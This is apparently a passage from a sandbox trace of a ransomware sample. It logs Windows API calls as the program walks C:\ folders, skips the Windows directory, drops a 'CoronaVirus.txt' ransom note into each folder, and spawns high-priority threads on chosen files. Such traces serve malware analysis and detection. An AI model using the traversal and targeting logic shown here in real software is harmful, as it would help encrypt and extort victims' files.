	[0083.553] wcsncmp (_String1="z", _String2=".", _MaxCount=0x1) returned 76
	[0083.553] wcsncmp (_String1="zh", _String2="..", _MaxCount=0x2) returned 76
	[0083.553] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-HK") returned 13
	[0083.553] wcsncmp (_String1="C:\\Boot\\z", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.553] wcsstr (_Str="C:\\Boot\\zh-HK", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.554] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\zh-HK\\CoronaVirus.txt" (normalized: "c:\\boot\\zh-hk\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.556] _alloca_probe () returned 0x4036d0
	[0083.556] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x316583c*="zh-HK") returned 0xd
	[0083.556] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.556] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.556] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.556] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.556] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.556] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.556] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.556] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2816b5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb2816b5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.556] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.556] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.556] malloc (_Size=0x1000) returned 0x2f536a0
	[0083.556] _swprintf (in: param_1=0x2f536a0, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-HK\\CoronaVirus.txt") returned 29
	[0083.556] wcsstr (_Str="C:\\Boot\\zh-HK\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.556] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.556] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.556] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.556] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.556] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.557] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0083.557] wcsncmp (_String1="z", _String2=".", _MaxCount=0x1) returned 76
	[0083.557] wcsncmp (_String1="zh", _String2="..", _MaxCount=0x2) returned 76
	[0083.557] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-TW") returned 13
	[0083.557] wcsncmp (_String1="C:\\Boot\\z", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.557] wcsstr (_Str="C:\\Boot\\zh-TW", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.557] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\zh-TW\\CoronaVirus.txt" (normalized: "c:\\boot\\zh-tw\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.583] _alloca_probe () returned 0x4036d0
	[0083.583] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x316583c*="zh-TW") returned 0xd
	[0083.583] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb2acfe4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.584] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.584] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb2acfe4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.584] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.584] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.584] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.584] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.584] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2acfe4, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb2acfe4, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.584] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.584] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.584] malloc (_Size=0x1000) returned 0x2f546a8
	[0083.584] _swprintf (in: param_1=0x2f546a8, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-TW\\CoronaVirus.txt") returned 29
	[0083.584] wcsstr (_Str="C:\\Boot\\zh-TW\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.584] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.584] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.584] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.584] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.584] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.585] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0083.585] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0083.585] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0083.585] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.585] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.585] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1
	[0083.585] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0083.585] wcsncmp (_String1="BO", _String2="..", _MaxCount=0x2) returned 20
	[0083.585] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0083.585] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0083.585] wcsncmp (_String1="BO", _String2="..", _MaxCount=0x2) returned 20
	[0083.585] malloc (_Size=0x1000) returned 0x2f556b0
	[0083.585] _swprintf (in: param_1=0x2f556b0, param_2="%s\\%s" | out: param_1="C:\\BOOTSECT.bak") returned 15
	[0083.585] wcsstr (_Str="C:\\BOOTSECT.bak", _SubStr="CoronaVirus") returned 0x0
	[0083.585] wcsstr (_Str="C:\\BOOTSECT.bak", _SubStr="wasse") returned 0x0
	[0083.585] wcsstr (_Str="C:\\BOOTSECT.bak", _SubStr="passw") returned 0x0
	[0083.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f556b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0083.586] SetThreadPriority (hThread=0x2c0, nPriority=15) returned 1
	[0083.588] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0083.588] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0083.588] wcsncmp (_String1="Do", _String2="..", _MaxCount=0x2) returned 22
	[0083.588] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\Documents and Settings") returned 25
	[0083.588] wcsncmp (_String1="C:\\Docume", _String2="C:\\WINDOW", _MaxCount=0x9) returned -19
	[0083.588] wcsstr (_Str="C:\\Documents and Settings", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.588] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Documents and Settings\\CoronaVirus.txt" (normalized: "c:\\documents and settings\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.602] _alloca_probe () returned 0x4036d0
	[0083.602] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x3173ab4*="Documents and Settings") returned 0x19
	[0083.602] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0083.602] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0083.603] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0083.603] wcsncmp (_String1="ES", _String2="..", _MaxCount=0x2) returned 23
	[0083.603] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\ESD") returned 6
	[0083.603] wcsncmp (_String1="C:\\ESD", _String2="C:\\WINDOW", _MaxCount=0x9) returned -18
	[0083.603] wcsstr (_Str="C:\\ESD", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.603] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\ESD\\CoronaVirus.txt" (normalized: "c:\\esd\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.607] _alloca_probe () returned 0x4036d0
	[0083.607] GetFullPathNameW (in: lpFileName="C:\\ESD", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\ESD", lpFilePart=0x3173ab4*="ESD") returned 0x6
	[0083.607] FindFirstFileW (in: lpFileName="C:\\ESD\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xeb319feb, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.607] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.607] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xeb319feb, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.607] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.607] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb319feb, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb319feb, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.607] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.607] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.607] malloc (_Size=0x1000) returned 0x2f566b8
	[0083.608] _swprintf (in: param_1=0x2f566b8, param_2="%s\\%s" | out: param_1="C:\\ESD\\CoronaVirus.txt") returned 22
	[0083.608] wcsstr (_Str="C:\\ESD\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.608] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb319feb, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb319feb, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.608] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.608] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab460c6f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0083.608] wcsncmp (_String1="h", _String2=".", _MaxCount=0x1) returned 58
	[0083.608] wcsncmp (_String1="hi", _String2="..", _MaxCount=0x2) returned 58
	[0083.608] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0083.608] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0083.608] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0083.608] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\Logs") returned 7
	[0083.608] wcsncmp (_String1="C:\\Logs", _String2="C:\\WINDOW", _MaxCount=0x9) returned -11
	[0083.608] wcsstr (_Str="C:\\Logs", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.608] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Logs\\CoronaVirus.txt" (normalized: "c:\\logs\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.615] _alloca_probe () returned 0x4036d0
	[0083.615] GetFullPathNameW (in: lpFileName="C:\\Logs", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\Logs", lpFilePart=0x3173ab4*="Logs") returned 0x7
	[0083.615] FindFirstFileW (in: lpFileName="C:\\Logs\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb319feb, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0083.616] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.616] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb319feb, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.625] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1
	[0083.625] wcsncmp (_String1="A", _String2=".", _MaxCount=0x1) returned 19
	[0083.625] wcsncmp (_String1="Ap", _String2="..", _MaxCount=0x2) returned 19
	[0083.625] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb319feb, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb319feb, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
